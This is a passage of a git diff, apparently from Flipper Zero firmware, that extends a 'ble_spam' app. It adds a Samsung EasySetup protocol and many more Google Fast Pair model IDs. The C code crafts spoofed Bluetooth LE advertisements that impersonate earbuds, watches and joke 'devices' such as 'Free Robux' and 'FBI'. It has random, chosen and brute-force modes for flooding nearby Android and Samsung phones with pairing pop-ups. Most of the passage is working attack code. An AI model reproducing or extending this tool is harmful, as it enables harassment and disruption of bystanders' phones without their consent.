"Gray Beige Buds2"}, + {0xB8B905, "Pure White Buds"}, + {0xEAAA17, "Pure White Buds2"}, + {0xD30704, "Black Buds"}, + {0x9DB006, "French Flag Buds"}, + {0x101F1A, "Dark Purple Buds Live"}, + {0x859608, "Dark Blue Buds"}, + {0x8E4503, "Pink Buds"}, + {0x2C6740, "White & Black Buds2"}, + {0x3F6718, "Bronze Buds Live"}, + {0x42C519, "Red Buds Live"}, + {0xAE073A, "Black & White Buds2"}, + {0x011716, "Sleek Black Buds2"}, +}; +const uint8_t buds_models_count = COUNT_OF(buds_models); + +const struct { + uint8_t value; + const char* name; +} watch_models[] = { + {0x1A, "Fallback Watch"}, + {0x01, "White Watch4 Classic 44m"}, + {0x02, "Black Watch4 Classic 40m"}, + {0x03, "White Watch4 Classic 40m"}, + {0x04, "Black Watch4 44mm"}, + {0x05, "Silver Watch4 44mm"}, + {0x06, "Green Watch4 44mm"}, + {0x07, "Black Watch4 40mm"}, + {0x08, "White Watch4 40mm"}, + {0x09, "Gold Watch4 40mm"}, + {0x0A, "French Watch4"}, + {0x0B, "French Watch4 Classic"}, + {0x0C, "Fox Watch5 44mm"}, + {0x11, "Black Watch5 44mm"}, + {0x12, "Sapphire Watch5 44mm"}, + {0x13, "Purpleish Watch5 40mm"}, + {0x14, "Gold Watch5 40mm"}, + {0x15, "Black Watch5 Pro 45mm"}, + {0x16, "Gray Watch5 Pro 45mm"}, + {0x17, "White Watch5 44mm"}, + {0x18, "White & Black Watch5"}, + {0x1B, "Black Watch6 Pink 40mm"}, + {0x1C, "Gold Watch6 Gold 40mm"}, + {0x1D, "Silver Watch6 Cyan 44mm"}, + {0x1E, "Black Watch6 Classic 43m"}, + {0x20, "Green Watch6 Classic 43m"}, +}; +const uint8_t watch_models_count = COUNT_OF(watch_models); + +static const char* type_names[EasysetupTypeCOUNT] = { + [EasysetupTypeBuds] = "EasySetup Buds", + [EasysetupTypeWatch] = "EasySetup Watch", +}; +static const char* get_name(const Payload* payload) { + const EasysetupCfg* cfg = &payload->cfg.easysetup; + return type_names[cfg->type]; +} + +static uint8_t packet_sizes[EasysetupTypeCOUNT] = { + [EasysetupTypeBuds] = 31, + [EasysetupTypeWatch] = 15, +}; +void make_packet(uint8_t* out_size, uint8_t** out_packet, Payload* payload) { + EasysetupCfg* cfg = payload ? &payload->cfg.easysetup : NULL; + + EasysetupType type; + if(cfg && cfg->type != 0x00) { + type = cfg->type; + } else { + const EasysetupType types[] = { + EasysetupTypeBuds, + EasysetupTypeWatch, + }; + type = types[rand() % COUNT_OF(types)]; + } + + uint8_t size = packet_sizes[type]; + uint8_t* packet = malloc(size); + uint8_t i = 0; + + switch(type) { + case EasysetupTypeBuds: { + uint32_t model; + switch(cfg ? payload->mode : PayloadModeRandom) { + case PayloadModeRandom: + default: + model = buds_models[rand() % buds_models_count].value; + break; + case PayloadModeValue: + model = cfg->data.buds.model; + break; + case PayloadModeBruteforce: + model = cfg->data.buds.model = payload->bruteforce.value; + break; + } + + packet[i++] = 27; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + packet[i++] = 0x00; // ... + packet[i++] = 0x42; + packet[i++] = 0x09; + packet[i++] = 0x81; + packet[i++] = 0x02; + packet[i++] = 0x14; + packet[i++] = 0x15; + packet[i++] = 0x03; + packet[i++] = 0x21; + packet[i++] = 0x01; + packet[i++] = 0x09; + packet[i++] = (model >> 0x10) & 0xFF; + packet[i++] = (model >> 0x08) & 0xFF; + packet[i++] = 0x01; + packet[i++] = (model >> 0x00) & 0xFF; + packet[i++] = 0x06; + packet[i++] = 0x3C; + packet[i++] = 0x94; + packet[i++] = 0x8E; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0xC7; + packet[i++] = 0x00; + + packet[i++] = 16; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + // Truncated AD segment, Android seems to fill in the rest with zeros + break; + } + case EasysetupTypeWatch: { + uint8_t model; + switch(cfg ? payload->mode : PayloadModeRandom) { + case PayloadModeRandom: + default: + model = watch_models[rand() % watch_models_count].value; + break; + case PayloadModeValue: + model = cfg->data.watch.model; + break; + case PayloadModeBruteforce: + model = cfg->data.watch.model = payload->bruteforce.value; + break; + } + + packet[i++] = 14; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + packet[i++] = 0x00; // ... + packet[i++] = 0x01; + packet[i++] = 0x00; + packet[i++] = 0x02; + packet[i++] = 0x00; + packet[i++] = 0x01; + packet[i++] = 0x01; + packet[i++] = 0xFF; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x43; + packet[i++] = (model >> 0x00) & 0xFF; + break; + } + default: + break; + } + + *out_size = size; + *out_packet = packet; +} + +enum { + _ConfigBudsExtraStart = ConfigExtraStart, + ConfigBudsModel, + ConfigBudsInfoVersion, + ConfigBudsCOUNT, +}; +enum { + _ConfigWatchExtraStart = ConfigExtraStart, + ConfigWatchModel, + ConfigWatchCOUNT, +}; +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + EasysetupCfg* cfg = &payload->cfg.easysetup; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(cfg->type) { + case EasysetupTypeBuds: { + switch(index) { + case ConfigBudsModel: + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModel); + break; + case ConfigBudsInfoVersion: + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } + break; + } + case EasysetupTypeWatch: { + switch(index) { + case ConfigWatchModel: + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModel); + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } + break; + } + default: + ctx->fallback_config_enter(ctx, index); + break; + } +} +static void buds_model_changed(VariableItem* item) { + Payload* payload = variable_item_get_context(item); + EasysetupCfg* cfg = &payload->cfg.easysetup; + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + payload->mode = PayloadModeValue; + cfg->data.buds.model = buds_models[index].value; + variable_item_set_current_value_text(item, buds_models[index].name); + } else { + payload->mode = PayloadModeRandom; + variable_item_set_current_value_text(item, "Random"); + } +} +static void watch_model_changed(VariableItem* item) { + Payload* payload = variable_item_get_context(item); + EasysetupCfg* cfg = &payload->cfg.easysetup; + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + payload->mode = PayloadModeValue; + cfg->data.watch.model = watch_models[index].value; + variable_item_set_current_value_text(item, watch_models[index].name); + } else { + payload->mode = PayloadModeRandom; + variable_item_set_current_value_text(item, "Random"); + } +} +static void extra_config(Ctx* ctx) { + Payload* payload = &ctx->attack->payload; + EasysetupCfg* cfg = &payload->cfg.easysetup; + VariableItemList* list = ctx->variable_item_list; + VariableItem* item; + size_t value_index; + + switch(cfg->type) { + case EasysetupTypeBuds: { + item = variable_item_list_add( + list, "Model Code", buds_models_count + 1, buds_model_changed, payload); + const char* model_name = NULL; + char model_name_buf[9]; + switch(payload->mode) { + case PayloadModeRandom: + default: + model_name = "Random"; + value_index = 0; + break; + case PayloadModeValue: + for(uint8_t i = 0; i < buds_models_count; i++) { + if(cfg->data.buds.model == buds_models[i].value) { + model_name = buds_models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->data.buds.model); + model_name = model_name_buf; + value_index = buds_models_count + 1; + } + break; + case PayloadModeBruteforce: + model_name = "Bruteforce"; + value_index = buds_models_count + 1; + break; + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + + variable_item_list_add(list, "Works on Android 13 and up", 0, NULL, NULL); + break; + } + case EasysetupTypeWatch: { + item = variable_item_list_add( + list, "Model Code", watch_models_count + 1, watch_model_changed, payload); + const char* model_name = NULL; + char model_name_buf[3]; + switch(payload->mode) { + case PayloadModeRandom: + default: + model_name = "Random"; + value_index = 0; + break; + case PayloadModeValue: + for(uint8_t i = 0; i < watch_models_count; i++) { + if(cfg->data.watch.model == watch_models[i].value) { + model_name = watch_models[i].name; + value_index = i + 1; + break; + } + } + if(!model_name) { + snprintf(model_name_buf, sizeof(model_name_buf), "%02X", cfg->data.watch.model); + model_name = model_name_buf; + value_index = watch_models_count + 1; + } + break; + case PayloadModeBruteforce: + model_name = "Bruteforce"; + value_index = watch_models_count + 1; + break; + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, model_name); + break; + } + default: + break; + } + + variable_item_list_set_enter_callback(list, config_callback, ctx); +} + +static uint8_t config_counts[EasysetupTypeCOUNT] = { + [EasysetupTypeBuds] = ConfigBudsCOUNT - ConfigExtraStart - 1, + [EasysetupTypeWatch] = ConfigWatchCOUNT - ConfigExtraStart - 1, +}; +static uint8_t config_count(const Payload* payload) { + const EasysetupCfg* cfg = &payload->cfg.easysetup; + return config_counts[cfg->type]; +} + +const Protocol protocol_easysetup = { + .icon = &I_android, + .get_name = get_name, + .make_packet = make_packet, + .extra_config = extra_config, + .config_count = config_count, +}; + +static void buds_model_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + EasysetupCfg* cfg = &payload->cfg.easysetup; + switch(index) { + case 0: + payload->mode = PayloadModeRandom; + scene_manager_previous_scene(ctx->scene_manager); + break; + case buds_models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom); + break; + case buds_models_count + 2: + payload->mode = PayloadModeBruteforce; + payload->bruteforce.counter = 0; + payload->bruteforce.value = cfg->data.buds.model; + payload->bruteforce.size = 3; + scene_manager_previous_scene(ctx->scene_manager); + break; + default: + payload->mode = PayloadModeValue; + cfg->data.buds.model = buds_models[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_easysetup_buds_model_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + EasysetupCfg* cfg = &payload->cfg.easysetup; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx); + if(payload->mode == PayloadModeRandom) { + selected = 0; + } + + bool found = false; + for(uint8_t i = 0; i < buds_models_count; i++) { + submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx); + if(!found && payload->mode == PayloadModeValue && + cfg->data.buds.model == buds_models[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx); + if(!found && payload->mode == PayloadModeValue) { + selected = buds_models_count + 1; + } + + submenu_add_item(submenu, "Bruteforce", buds_models_count + 2, buds_model_callback, ctx); + if(payload->mode == PayloadModeBruteforce) { + selected = buds_models_count + 2; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_easysetup_buds_model_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void buds_model_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + EasysetupCfg* cfg = &payload->cfg.easysetup; + payload->mode = PayloadModeValue; + cfg->data.buds.model = + (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00); + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_easysetup_buds_model_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + EasysetupCfg* cfg = &payload->cfg.easysetup; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model Code"); + + ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF; + ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF; + ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_easysetup_buds_model_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void watch_model_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + EasysetupCfg* cfg = &payload->cfg.easysetup; + switch(index) { + case 0: + payload->mode = PayloadModeRandom; + scene_manager_previous_scene(ctx->scene_manager); + break; + case watch_models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom); + break; + case watch_models_count + 2: + payload->mode = PayloadModeBruteforce; + payload->bruteforce.counter = 0; + payload->bruteforce.value = cfg->data.watch.model; + payload->bruteforce.size = 1; + scene_manager_previous_scene(ctx->scene_manager); + break; + default: + payload->mode = PayloadModeValue; + cfg->data.watch.model = watch_models[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_easysetup_watch_model_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + EasysetupCfg* cfg = &payload->cfg.easysetup; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx); + if(payload->mode == PayloadModeRandom) { + selected = 0; + } + + bool found = false; + for(uint8_t i = 0; i < watch_models_count; i++) { + submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx); + if(!found && payload->mode == PayloadModeValue && + cfg->data.watch.model == watch_models[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx); + if(!found && payload->mode == PayloadModeValue) { + selected = watch_models_count + 1; + } + + submenu_add_item(submenu, "Bruteforce", watch_models_count + 2, watch_model_callback, ctx); + if(payload->mode == PayloadModeBruteforce) { + selected = watch_models_count + 2; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_easysetup_watch_model_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void watch_model_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + EasysetupCfg* cfg = &payload->cfg.easysetup; + payload->mode = PayloadModeValue; + cfg->data.watch.model = (ctx->byte_store[0] << 0x00); + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_easysetup_watch_model_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + Payload* payload = &ctx->attack->payload; + EasysetupCfg* cfg = &payload->cfg.easysetup; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model Code"); + + ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF; + + byte_input_set_result_callback( + byte_input, watch_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_easysetup_watch_model_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/protocols/easysetup.h b/applications/external/ble_spam/protocols/easysetup.h new file mode 100644 index 000000000..010dc7ec2 --- /dev/null +++ b/applications/external/ble_spam/protocols/easysetup.h @@ -0,0 +1,25 @@ +#pragma once +#include "_base.h" + +// Hacked together by @Willy-JL and @Spooks4576 +// Research by @Spooks4576 + +typedef enum { + EasysetupTypeBuds = 0x01, // Skip 0 as it means unset + EasysetupTypeWatch, + EasysetupTypeCOUNT, +} EasysetupType; + +typedef struct { + EasysetupType type; + union { + struct { + uint32_t model; + } buds; + struct { + uint8_t model; + } watch; + } data; +} EasysetupCfg; + +extern const Protocol protocol_easysetup; diff --git a/applications/external/ble_spam/protocols/easysetup_scenes.h b/applications/external/ble_spam/protocols/easysetup_scenes.h new file mode 100644 index 000000000..59814a728 --- /dev/null +++ b/applications/external/ble_spam/protocols/easysetup_scenes.h @@ -0,0 +1,4 @@ +ADD_SCENE(easysetup_buds_model, EasysetupBudsModel) +ADD_SCENE(easysetup_buds_model_custom, EasysetupBudsModelCustom) +ADD_SCENE(easysetup_watch_model, EasysetupWatchModel) +ADD_SCENE(easysetup_watch_model_custom, EasysetupWatchModelCustom) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 38759a623..6f635b6cb 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -1,44 +1,238 @@ #include "fastpair.h" -#include "_registry.h" +#include "_protocols.h" // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction -const char* fastpair_get_name(const BleSpamProtocolCfg* _cfg) { - const FastpairCfg* cfg = &_cfg->fastpair; - UNUSED(cfg); +const struct { + uint32_t value; + const char* name; +} models[] = { + // Genuine non-production/forgotten (good job Google) + {0x0001F0, "Bisto CSR8670 Dev Board"}, + {0x000047, "Arduino 101"}, + {0x470000, "Arduino 101 2"}, + {0x00000A, "Anti-Spoof Test"}, + {0x0A0000, "Anti-Spoof Test 2"}, + {0x00000B, "Google Gphones"}, + {0x0B0000, "Google Gphones 2"}, + {0x0C0000, "Google Gphones 3"}, + {0x00000D, "Test 00000D"}, + {0x000007, "Android Auto"}, + {0x070000, "Android Auto 2"}, + {0x000008, "Foocorp Foophones"}, + {0x080000, "Foocorp Foophones 2"}, + {0x000009, "Test Android TV"}, + {0x090000, "Test Android TV 2"}, + {0x000035, "Test 000035"}, + {0x350000, "Test 000035 2"}, + {0x000048, "Fast Pair Headphones"}, + {0x480000, "Fast Pair Headphones 2"}, + {0x000049, "Fast Pair Headphones 3"}, + {0x490000, "Fast Pair Headphones 4"}, + {0x001000, "LG HBS1110"}, + {0x00B727, "Smart Controller 1"}, + {0x01E5CE, "BLE-Phone"}, + {0x0200F0, "Goodyear"}, + {0x00F7D4, "Smart Setup"}, + {0xF00002, "Goodyear"}, + {0xF00400, "T10"}, + {0x1E89A7, "ATS2833_EVB"}, + + // Phone setup + {0x00000C, "Google Gphones Transfer"}, + {0x0577B1, "Galaxy S23 Ultra"}, + {0x05A9BC, "Galaxy S20+"}, + + // Genuine devices + {0xCD8256, "Bose NC 700"}, + {0x0000F0, "Bose QuietComfort 35 II"}, + {0xF00000, "Bose QuietComfort 35 II 2"}, + {0x821F66, "JBL Flip 6"}, + {0xF52494, "JBL Buds Pro"}, + {0x718FA4, "JBL Live 300TWS"}, + {0x0002F0, "JBL Everest 110GA"}, + {0x92BBBD, "Pixel Buds"}, + {0x000006, "Google Pixel buds"}, + {0x060000, "Google Pixel buds 2"}, + {0xD446A7, "Sony XM5"}, + {0x2D7A23, "Sony WF-1000XM4"}, + {0x0E30C3, "Razer Hammerhead TWS"}, + {0x72EF8D, "Razer Hammerhead TWS X"}, + {0x72FB00, "Soundcore Spirit Pro GVA"}, + {0x0003F0, "LG HBS-835S"}, + {0x002000, "AIAIAI TMA-2 (H60)"}, + {0x003000, "Libratone Q Adapt On-Ear"}, + {0x003001, "Libratone Q Adapt On-Ear 2"}, + {0x00A168, "boAt Airdopes 621"}, + {0x00AA48, "Jabra Elite 2"}, + {0x00AA91, "Beoplay E8 2.0"}, + {0x00C95C, "Sony WF-1000X"}, + {0x01EEB4, "WH-1000XM4"}, + {0x02AA91, "B&O Earset"}, + {0x01C95C, "Sony WF-1000X"}, + {0x02D815, "ATH-CK1TW"}, + {0x035764, "PLT V8200 Series"}, + {0x038CC7, "JBL TUNE760NC"}, + {0x02DD4F, "JBL TUNE770NC"}, + {0x02E2A9, "TCL MOVEAUDIO S200"}, + {0x035754, "Plantronics PLT_K2"}, + {0x02C95C, "Sony WH-1000XM2"}, + {0x038B91, "DENON AH-C830NCW"}, + {0x02F637, "JBL LIVE FLEX"}, + {0x02D886, "JBL REFLECT MINI NC"}, + {0xF00000, "Bose QuietComfort 35 II"}, + {0xF00001, "Bose QuietComfort 35 II"}, + {0xF00201, "JBL Everest 110GA"}, + {0xF00204, "JBL Everest 310GA"}, + {0xF00209, "JBL LIVE400BT"}, + {0xF00205, "JBL Everest 310GA"}, + {0xF00200, "JBL Everest 110GA"}, + {0xF00208, "JBL Everest 710GA"}, + {0xF00207, "JBL Everest 710GA"}, + {0xF00206, "JBL Everest 310GA"}, + {0xF0020A, "JBL LIVE400BT"}, + {0xF0020B, "JBL LIVE400BT"}, + {0xF0020C, "JBL LIVE400BT"}, + {0xF00203, "JBL Everest 310GA"}, + {0xF00202, "JBL Everest 110GA"}, + {0xF00213, "JBL LIVE650BTNC"}, + {0xF0020F, "JBL LIVE500BT"}, + {0xF0020E, "JBL LIVE500BT"}, + {0xF00214, "JBL LIVE650BTNC"}, + {0xF00212, "JBL LIVE500BT"}, + {0xF0020D, "JBL LIVE400BT"}, + {0xF00211, "JBL LIVE500BT"}, + {0xF00215, "JBL LIVE650BTNC"}, + {0xF00210, "JBL LIVE500BT"}, + {0xF00305, "LG HBS-1500"}, + {0xF00304, "LG HBS-1010"}, + {0xF00308, "LG HBS-1125"}, + {0xF00303, "LG HBS-930"}, + {0xF00306, "LG HBS-1700"}, + {0xF00300, "LG HBS-835S"}, + {0xF00309, "LG HBS-2000"}, + {0xF00302, "LG HBS-830"}, + {0xF00307, "LG HBS-1120"}, + {0xF00301, "LG HBS-835"}, + {0xF00E97, "JBL VIBE BEAM"}, + {0x04ACFC, "JBL WAVE BEAM"}, + {0x04AA91, "Beoplay H4"}, + {0x04AFB8, "JBL TUNE 720BT"}, + {0x05A963, "WONDERBOOM 3"}, + {0x05AA91, "B&O Beoplay E6"}, + {0x05C452, "JBL LIVE220BT"}, + {0x05C95C, "Sony WI-1000X"}, + {0x0602F0, "JBL Everest 310GA"}, + {0x0603F0, "LG HBS-1700"}, + {0x1E8B18, "SRS-XB43"}, + {0x1E955B, "WI-1000XM2"}, + {0x1EC95C, "Sony WF-SP700N"}, + {0x1ED9F9, "JBL WAVE FLEX"}, + {0x1EE890, "ATH-CKS30TW WH"}, + {0x1EEDF5, "Teufel REAL BLUE TWS 3"}, + {0x1F1101, "TAG Heuer Calibre E4 45mm"}, + {0x1F181A, "LinkBuds S"}, + {0x1F2E13, "Jabra Elite 2"}, + {0x1F4589, "Jabra Elite 2"}, + {0x1F4627, "SRS-XG300"}, + {0x1F5865, "boAt Airdopes 441"}, + {0x1FBB50, "WF-C700N"}, + {0x1FC95C, "Sony WF-SP700N"}, + {0x1FE765, "TONE-TF7Q"}, + {0x1FF8FA, "JBL REFLECT MINI NC"}, + {0x201C7C, "SUMMIT"}, + {0x202B3D, "Amazfit PowerBuds"}, + {0x20330C, "SRS-XB33"}, + {0x003B41, "M&D MW65"}, + {0x003D8A, "Cleer FLOW II"}, + {0x005BC3, "Panasonic RP-HD610N"}, + {0x008F7D, "soundcore Glow Mini"}, + {0x00FA72, "Pioneer SE-MS9BN"}, + {0x0100F0, "Bose QuietComfort 35 II"}, + {0x011242, "Nirvana Ion"}, + {0x013D8A, "Cleer EDGE Voice"}, + {0x01AA91, "Beoplay H9 3rd Generation"}, + {0x038F16, "Beats Studio Buds"}, + {0x039F8F, "Michael Kors Darci 5e"}, + {0x03AA91, "B&O Beoplay H8i"}, + {0x03B716, "YY2963"}, + {0x03C95C, "Sony WH-1000XM2"}, + {0x03C99C, "MOTO BUDS 135"}, + {0x03F5D4, "Writing Account Key"}, + {0x045754, "Plantronics PLT_K2"}, + {0x045764, "PLT V8200 Series"}, + {0x04C95C, "Sony WI-1000X"}, + {0x050F0C, "Major III Voice"}, + {0x052CC7, "MINOR III"}, + {0x057802, "TicWatch Pro 5"}, + {0x0582FD, "Pixel Buds"}, + {0x058D08, "WH-1000XM4"}, + {0x06AE20, "Galaxy S21 5G"}, + {0x06C197, "OPPO Enco Air3 Pro"}, + {0x06C95C, "Sony WH-1000XM2"}, + {0x06D8FC, "soundcore Liberty 4 NC"}, + {0x0744B6, "Technics EAH-AZ60M2"}, + {0x07A41C, "WF-C700N"}, + {0x07C95C, "Sony WH-1000XM2"}, + {0x07F426, "Nest Hub Max"}, + {0x0102F0, "JBL Everest 110GA - Gun Metal"}, + {0x0202F0, "JBL Everest 110GA - Silver"}, + {0x0302F0, "JBL Everest 310GA - Brown"}, + {0x0402F0, "JBL Everest 310GA - Gun Metal"}, + {0x0502F0, "JBL Everest 310GA - Silver"}, + {0x0702F0, "JBL Everest 710GA - Gun Metal"}, + {0x0802F0, "JBL Everest 710GA - Silver"}, + {0x054B2D, "JBL TUNE125TWS"}, + {0x0660D7, "JBL LIVE770NC"}, + {0x0103F0, "LG HBS-835"}, + {0x0203F0, "LG HBS-830"}, + {0x0303F0, "LG HBS-930"}, + {0x0403F0, "LG HBS-1010"}, + {0x0503F0, "LG HBS-1500"}, + {0x0703F0, "LG HBS-1120"}, + {0x0803F0, "LG HBS-1125"}, + {0x0903F0, "LG HBS-2000"}, + + // Custom debug popups + {0xD99CA1, "Flipper Zero"}, + {0x77FF67, "Free Robux"}, + {0xAA187F, "Free VBucks"}, + {0xDCE9EA, "Rickroll"}, + {0x87B25F, "Animated Rickroll"}, + {0xF38C02, "Boykisser"}, + {0x1448C9, "BLM"}, + {0xD5AB33, "Xtreme"}, + {0x0C0B67, "Xtreme Cta"}, + {0x13B39D, "Talking Sasquach"}, + {0xAA1FE1, "ClownMaster"}, + {0x7C6CDB, "Obama"}, + {0x005EF9, "Ryanair"}, + {0xE2106F, "FBI"}, + {0xB37A62, "Tesla"}, +}; +const uint8_t models_count = COUNT_OF(models); + +static const char* get_name(const Payload* payload) { + UNUSED(payload); return "FastPair"; } -void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { - const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL; +static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) { + FastpairCfg* cfg = payload ? &payload->cfg.fastpair : NULL; - uint32_t model_id; - if(cfg && cfg->model_id != 0x000000) { - model_id = cfg->model_id; - } else { - const uint32_t models[] = { - // Genuine devices - 0xCD8256, // Bose NC 700 - 0xF52494, // JBL Buds Pro - 0x718FA4, // JBL Live 300TWS - 0x821F66, // JBL Flip 6 - 0x92BBBD, // Pixel Buds - 0xD446A7, // Sony XM5 - - // Custom debug popups - 0xD99CA1, // Flipper Zero - 0x77FF67, // Free Robux - 0xAA187F, // Free VBucks - 0xDCE9EA, // Rickroll - 0x87B25F, // Animated Rickroll - 0xF38C02, // Boykisser - 0x1448C9, // BLM - 0xD5AB33, // Xtreme - 0x13B39D, // Talking Sasquach - 0xAA1FE1, // ClownMaster - }; - model_id = models[rand() % COUNT_OF(models)]; + uint32_t model; + switch(cfg ? payload->mode : PayloadModeRandom) { + case PayloadModeRandom: + default: + model = models[rand() % models_count].value; + break; + case PayloadModeValue: + model = cfg->model; + break; + case PayloadModeBruteforce: + model = cfg->model = payload->bruteforce.value; + break; } uint8_t size = 14; @@ -54,9 +248,9 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc packet[i++] = 0x16; // AD Type (Service Data) packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair) packet[i++] = 0xFE; // ... - packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID - packet[i++] = (model_id >> 0x08) & 0xFF; // ... - packet[i++] = (model_id >> 0x00) & 0xFF; // ... + packet[i++] = (model >> 0x10) & 0xFF; + packet[i++] = (model >> 0x08) & 0xFF; + packet[i++] = (model >> 0x00) & 0xFF; packet[i++] = 2; // Size packet[i++] = 0x0A; // AD Type (Tx Power Level) @@ -66,8 +260,198 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc *_packet = packet; } -const BleSpamProtocol ble_spam_protocol_fastpair = { - .icon = &I_android, - .get_name = fastpair_get_name, - .make_packet = fastpair_make_packet, +enum { + _ConfigExtraStart = ConfigExtraStart, + ConfigModel, + ConfigInfoRequire, + ConfigCOUNT, }; +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(index) { + case ConfigModel: + scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel); + break; + case ConfigInfoRequire: + break; + default: + ctx->fallback_config_enter(ctx, index); + break; + } +} +static void model_changed(VariableItem* item) { + Payload* payload = variable_item_get_context(item); + FastpairCfg* cfg = &payload->cfg.fastpair; + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + payload->mode = PayloadModeValue; + cfg->model = models[index].value; + variable_item_set_current_value_text(item, models[index].name); + } else { + payload->mode = PayloadModeRandom; + variable_item_set_current_value_text(item, "Random"); + } +} +static void extra_config(Ctx* ctx) { + Payload* payload = &ctx->attack->payload; + FastpairCfg* cfg = &payload->cfg.fastpair; + VariableItemList* list = ctx->variable_item_list; + VariableItem* item; + size_t value_index; + + item = variable_item_list_add(list, 